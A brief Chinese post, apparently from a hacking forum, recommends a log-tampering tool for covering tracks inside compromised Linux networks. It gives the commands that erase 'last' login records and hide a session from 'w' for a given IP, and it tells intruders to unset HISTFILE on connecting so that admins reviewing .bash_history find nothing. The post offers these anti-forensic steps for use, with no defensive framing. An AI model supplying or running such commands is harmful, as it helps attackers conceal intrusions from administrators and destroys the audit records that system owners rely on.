最近搞linux内网的时候用了一个擦脚印工具不错。
是这个 logtamper_v1_1 网上都下的到,比较老的东西了,感觉不错。
./logtamper-static -h root 192.168.1.9 擦除last连接
./logtamper-static -w root 192.168.1.9 隐藏W
还有一个小技巧,一般管理查linux的时候,会看/root/.bash_history 这个文件,所以链接上ssh最好使用UNSET HISTFILE 这条命令再做其他操作。